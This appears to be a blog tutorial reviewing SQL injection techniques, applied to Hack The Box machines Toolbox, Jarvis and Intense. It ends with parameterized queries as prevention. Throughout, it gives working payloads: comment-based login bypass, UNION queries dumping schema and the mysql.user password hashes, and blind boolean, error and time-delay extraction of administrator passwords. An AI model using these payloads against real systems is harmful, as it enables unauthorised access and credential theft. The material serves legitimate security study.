SQL Injection - Applied Review

The goal of this applied review is to review over SQL injection techniques taught in the PortSwigger labs and to apply those strategies to CTF challenges.

What is SQL Injection?

#

We can start by briefly describing the role of databases in web applications and how SQL has to do with them.

This picture from a blog post here does a pretty good job of demonstrating my understanding of how databases interact with web applications:

Let’s say that you have a website and want to store usernames or passwords or whatever, you need a place to keep it that isn’t the static HTML. You can have a database that stores all this information in a set of columns that form tables in a larger database schema.

SQL (Structured Query Language) is a way that a lot of databases let you ask them for information. Let’s say that you’ve got an online shop and you’ve categorized the items by their type. You might have a table called products that looks like this:

In this example, released is indicating whether or not you want to hide an item from being shown where 1 is shown and 0 is not shown.

You could have your users filter products by category and have the website display items that match the result of this query:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1;

This query would select all (*) items from the products table where their category value is equal to Gifts and their released value is set to 1.

Baby’s First Injection

#

If we understand the syntax of SQL, we can get this query to change depending on how the web application sends it over to the database.

Now, our web application needs to get the filtering information from the user, and depending on how this information is sent we can manipulate it.

Let’s say that our web site uses the URL to pass arguments to the SQL query like this:

https://awesome-shop.com/products?category=Tools

Resulting in the following SQL query:

SELECT * FROM products WHERE category = 'Tools' AND released = 1;

But if our website does not include any kind of input sanitization, we can just change the URL to modify the query being sent.

If we change the URL to this:

https://awesome-shop.com/products?category=Tools'--

The resulting query will be:

SELECT * FROM products WHERE category = 'Tools'--' AND released = 1;

This will show not only the released products but also the unreleased products.

Because the -- characters are used to indicate a comment in SQL, everything that appears after them is interpreted as a comment, effectively cutting out the end of the query.

In this case, the query no longer interprets AND released = 1 and displays all products regardless of whether or not they are marked as released.

If you wanted to see every product in every category, you could also use a similar strategy:

https://awesome-shop.com/products?category=Tools' OR 1=1--

Resulting in the query:

SELECT * FROM products WHERE category = 'Tools' OR 1=1--' AND released = 1;

This query will return all products where either the category is Tools or is 1=1. Because 1=1 is always true, the query returns the products from all categories.

Can We Get Cooler?

#

Fair enough, seeing unreleased products on an online shop might be a bit boring. Let’s paint a similar picture with some key differences.

You also want shoppers to be able to make accounts and log in to them. You might do this by storing their username and password and checking whether or not the login information matches what is stored in the database like so:

SELECT * FROM users WHERE username = 'gabe' AND password = 'nevergonnagiveyouup'

So, if you enter the username gabe and the password nevergonnagiveyouup, the database will find that row in the users table where both values are present and let you in. If one of the values are wrong, the database won’t find a row where both values are present and you won’t be able to log in.

We can use the same comment syntax trick to bypass the login process. We need to know the name of a user on the site, so let’s say there is a user named admin but we don’t know their password.

We could input the username admin'-- and some random password to create this query:

SELECT * FROM users WHERE username = 'admin'--' AND password = 'randompass'

This query would just return true when it finds the username admin, and would let us through.

Quiz 1 ~ Toolbox (HTB)

#

Toolbox is an easy machine that we can test this technique on, I’ll fly past the enumeration steps of the machine and try to expand on the SQL injection once we find it and exploit it.

When running a port scan we discover that port 443 is open and running a website:

---SNIP---
443/tcp open  https
|_http-title: MegaLogistics
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
---SNIP---

If we add this to our /etc/hosts file and try to view it in the browser, we see the a login page:

If we just try to put in a single quote character ('), we get the following error:

This error reads as follows:

**Warning**: pg_query(): Query failed: ERROR: unterminated quoted string at or near "''' AND password = md5('');" LINE 1: SELECT * FROM users WHERE username = ''' AND password = md5(... ^ in **/var/www/admin/index.php** on line **10**  
  
**Warning**: pg_num_rows() expects parameter 1 to be resource, bool given in **/var/www/admin/index.php** on line **11**

So the SQL query being processed is something like this:

SELECT * FROM users WHERE username = '' AND password = md5('');

The md5 hash function might seem intimidating, but if we use the same comment trick, we can stop that part of the query from being processed.

The error message also tells us that there might be an admin user and that the database might be PostgreSQL, because of the pg_query() reference.

So, we can try to log in as the admin user like this:

This should produce the following query:

SELECT * FROM users WHERE username = 'admin'--' AND password = md5('pass');

And when we try this, it sends us through to the administrator dashboard:

So, it looks like our assessment of the query was right and we were able to bypass the login page without any issues.

You might be asking: What if we don’t know that much about the database or the query being used?, which is a really good question because it is often necessary (if not just really helpful) to get information about the database before trying some attack.

Enumerating Type and Version

#

We want to look for the database type and version, along with the names of tables and columns that we may want to look into.

Different databases have different syntax for getting the database version:

For example, we could use a UNION attack with the following input:

' UNION SELECT @@version--

And we might get a response like this:

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)

Don’t worry, we will talk about UNION attacks in more detail later.

Getting the Schema

#

If you don’t know any of the table names, you might want to get your hands on the database schema, which is like a map for the database.

Most database types (except Oracle) have a set of views called the information schema. You can get this schema by querying information_schema.tables on most databases.

We might query it like this:

SELECT * FROM information_schema.tables

Which would output something like this:

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE
=====================================================
MyDatabase     dbo           Products    BASE TABLE
MyDatabase     dbo           Users       BASE TABLE
MyDatabase     dbo           Feedback    BASE TABLE

This lets us know about the products, users, and feedback tables. We can figure out the columns in these tables with a similar query:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

This query should tell us what columns are present in the users table:

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  COLUMN_NAME  DATA_TYPE
=================================================================
MyDatabase     dbo           Users       UserId       int
MyDatabase     dbo           Users       Username     varchar
MyDatabase     dbo           Users       Password     varchar

Please keep in mind that there are other ways to do this for different types of databases and results may vary. Sometimes you’ll have to encode your payloads and other times you might not have to and it’ll depend on the application you are testing and how it handles your inputs.

SQL Injection UNION Attacks

#

Now that we have a pretty tight grasp on SQL injection as a concept, we can pivot over to more specific types of exploits.

When applications are vulnerable to SQL injection, query results are returned in the application responses - which is how we actually see the data we want.

We can use the UNION keyword when we want to get data from other tables in the database.

The UNION keyword lets us execute more SELECT queries and append those results to the original query. Here is an example:

SELECT name, id FROM users UNION SELECT gid, gname FROM user_groups

This query would return a single set of results with two columns, in order for this query to work though, you need to meet a few requirements:

• The original SELECT query and the UNION query need to return the same number of columns
• The data types used in each column must be compatible between the two queries

This means that in order to actually pull off a UNION attack, we need to determine:

• The number of columns returned in the original query
• Which columns returned from the original query are of a suitable data type to hold the results for our injected query

Determine the Number of Columns Needed

#

There are multiple ways to determine the number of columns we will need but I am only going to cover two of them.

One method involves injecting a series of ORDER BY clauses and incrementing the specified column index until an error occurs.

For example, if the injection point is a quoted string within the WHERE clause of the original query, you would submit:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
...

This series of payloads modifies the original query to order the results by different columns in the result set. The column in an ORDER BY clause can be specified by its index, so you don’t need to know the names of any columns.

When you actually reach the target number of columns, you should get an error that identifies the range needed. If the web application is a bit more robust, it shouldn’t return any kind of verbose error messages and should just give you a blank HTTP response declaring the presence of an error.

Either way, any difference in the response that you can pick up on should be enough for you to determine the number of columns.

The second method (and my preferred method) has us submitting a series of UNION SELECT payloads specifying differing amounts of NULL values:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
...

If the number of nulls does not match the number of columns, the database returns an error that might look like this:

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

We use NULL here because one of our requirements is that the data type we use needs to be compatible with the original query, and NULL is convertible to every common data type, maximizing the chance our payload will succeed.

Keep in mind that different databases might use different syntax - like how Oracle databases have a dual table that can be used in these queries.

Quiz 2 - Jarvis (HTB)

#

This HTB machine is a medium-difficulty Linux box that we can use to practice some of our SQL skills.

This machine has a web server hosted on it that appears to be designed for letting users book hotel rooms.

Take note of the URL, it changes depending on which room we look at. For example, this is the URL for the double room:

http://10.10.10.143/room.php?cod=3

We can try the plain and simple single quote (' ) payload to see what happens:

At the very least, some of the query is getting messed up. We might not know the query now, but using our UNION SQL injection skills, we might be able to read the database version and number of columns in the table to figure out more information.

We can use the ORDER BY trick to figure out the number of possible columns needed. Let’s try out appending ORDER BY 3-- to the URL:

Because the page didn’t change its behavior, this must not be our number, let’s gradually increase it until we see a change.

Sweet, it looks like 8 was the number of columns we needed. Now we can try to figure out which column has the data type that we need using the UNION SELECT keywords.

We can try UNION SELECT 1,2,3,4,5,6,7-- but we won’t see any noticeable change in the web application’s behavior:

This is confusing initially, but keep in mind that this cod?= parameter seems to have something to do with the room type. Let’s see what happens when we change cod?= to zero:

Sweet, this is a decent place to start, I am going to try different version query payloads in different positions in the query until one of them sticks.

I was able to get it to work just fine in any of the previously visible positions (like 5, 2, 3, and 4) and we learned that the database running is a MariaDB on version 10.1.37.

We can go on to look at the database schema using a payload like this:

?cod=0 UNION SELECT 1,group_concat(schema_name) ,3,4,5,6,7 from information_schema.schemata--

This worked and revealed the names of different schemas within the database:

We can reveal the tables in one of these schemas using the same methodology:

?cod=0 UNION SELECT 1,group_concat(table_name) ,3,4,5,6,7 from information_schema.tables where table_schema='mysql'--

Now that we have some table names, we can follow the same strategy to get columns. One table in this database that is interesting is the user table. We can make a payload to get it like this:

?cod=0 UNION SELECT 1,group_concat(table_name,':',column_name,'\n') ,3,4,5,6,7 from information_schema.columns where table_schema='mysql' and table_name='user'--

This payload should print out the name of the table and the name of the column, separated by a : character and after each table name and column name they should split onto a new line (\n).

Now, let’s look at the data in the Host, User, and Password columns:

?cod=0 UNION SELECT 1,group_concat(Host,'~',User,'~',Password) ,3,4,5,6,7 from mysql.user--

Nice, a username and a password hash all thanks to SQL injection. There is more to this machine and I recommend playing through it to practice on your own.

Blind SQL Injection Attacks

#

This type of SQL injection is the most tricky in my opinion, mostly because of how sharp you need to be when enumerating for it.

Blind SQL injection is when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.

Because of this, techniques like UNION attacks aren’t all that effective, because those rely on seeing the results.

Triggering Conditional Responses

#

Imagine a web application that uses cookies to gather analytics. Requests to this application may contain a cookie like this:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

When a request containing a TrackingId cookie is processed, the application uses a SQL query to determine whether this is a known user:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

In this imaginary web application, the query being is vulnerable to SQL injection but doesn’t show anything to the user.

The application may behave differently in some other way though. Let’s say that you submit a TrackingId that is recognized and the site adds a Welcome Back! message to the home page.

That small difference in behavior alone is enough to exploit the blind SQL injection vulnerability.

You can retrieve information by triggering different responses conditionally, depending on an injected condition.

Imagine we send two different TrackingId cookies like this:

…xyz' AND '1'='1
…xyz' AND '1'='2

The first one should return true and the second should return false. This can be verified using the presence of the Welcome Back! message.

Using this, we can determine the answer to any single injected condition.

For example, suppose there is a table called Users with the columns Username and Password, and a user called Administrator. You can determine the password for this user by sending a series of inputs to test the password one character at a time.

That payload would look like this:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

If this returns the Welcome back! message, the first character of the password is greater than m in the alphabet.

So in the next request we could look for t, and so on until we arrive at the character in the 1,1 position of the administrator’s password.

Triggering Conditional Errors

#

Some applications carry out SQL queries but their behavior doesn’t change, regardless of whether the query returns any data. The technique in the previous section won’t work, because injecting different boolean conditions makes no difference to the application’s responses.

Sometimes, we can get an error message to appear that helps us determine if our payload was executed.

To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

Like before, the first payload evaluates to a and doesn’t throw an error, but the second one will cause a divide by zero error.

Using this technique, you can retrieve data by testing one character at a time:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

Exploiting SQL Injection with Time Delays

#

If none of the previous strategies seemed to change the application’s behavior, even the response time can be used to verify the presence of a vulnerability.

The techniques for triggering a time delay are specific to the type of database being used.

If we can inject logic that, when executed, makes the request take longer to be sent, we can use it to confirm or deny conditions.

Take these two queries for example:

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--

The second payload will make the request take ten seconds longer to be send if it is being executed, and the first payload should take no longer than normal.

We can use this method the same as before to test out different characters one at a time:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

Quiz 3 - Intense (HTB)

#

We can exploit some blind SQL injection in this machine to gain user credentials.

We begin by using boolean operators to determine a possible username and end with using a time delay to verify individual characters.

Earlier in this machine you can dump some of the source code for the application which reveals some table names.

The target web application allows us to submit a message of at least four characters. We can insert a single-quote and three spaces to get our first error:

If you do some quick googling about this error message, you’ll find that it is found in SQLite databases.

Based on this, we might have some idea that the query looks like this:

INSERT INTO sometable VALUES('{user_input}')

We can use the concatenate (||) operator to try and find a function that produces an error. Eventually, we can try load_extension and see the following:

This new error message will allow us to verify whether or not another query that we append is correct.

Let’s try this query to determine the first character of a username:

'||(SELECT username FROM users WHERE username LIKE 'g%' AND load_extension('a'))||'

If this returns not authorized, we know that there is a user with that character in their username. If this returns OK or some other error message, we know that either our payload is messed up or the condition is false.

This seems to demonstrate that there is no username starting with z, but there is a user starting with g. (We know this because we logged in as a user called guest)

From this point, you could make a macro or python script to automate the process of finding a username or password.

We can also perform the same verification with a time-based response. In this case we need to hex encode the zeroblob function because of countermeasures you can find in the source code.

Using this payload:

'||(select hex(zeroblob(100000000)) from users where username LIKE 'u%')||'

This first request took 300 milliseconds to respond.

This second request took 1300 milliseconds to respond, verifying that the g character matches a real username.

Second Order SQL Injection

#

All of the SQL injection vulnerabilities we have looked at so far had to do with our input being directly used as a query upon submission, but this will not always be the case.

Second order SQL injection occurs when the application takes our input and, instead of immediately using it for a query, stores it for later use.

This is usually done by placing the input into a database, but no vulnerability occurs at the point where the data is stored. Later, when handling a different HTTP request, the application retrieves the stored data and incorporates it into a SQL query in an unsafe way.

For example, imagine you can edit user preferences on a website that recommends you pictures, but those preferences aren’t actually used in a query until you access a certain endpoint.

If the /update-preferences endpoint has an vulnerable parameter that you can manipulate, it might only execute the query when you try to reach our to the /user-feed page.

These may be a bit harder to look for and require a bit more technical skill to exploit efficiently, but are still something to be aware of.

Prevention

#

The most common prevention of SQL injection attacks is using parameterized queries. These are also often called “prepared statements” and they work by separating the user input from the query being run:

PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();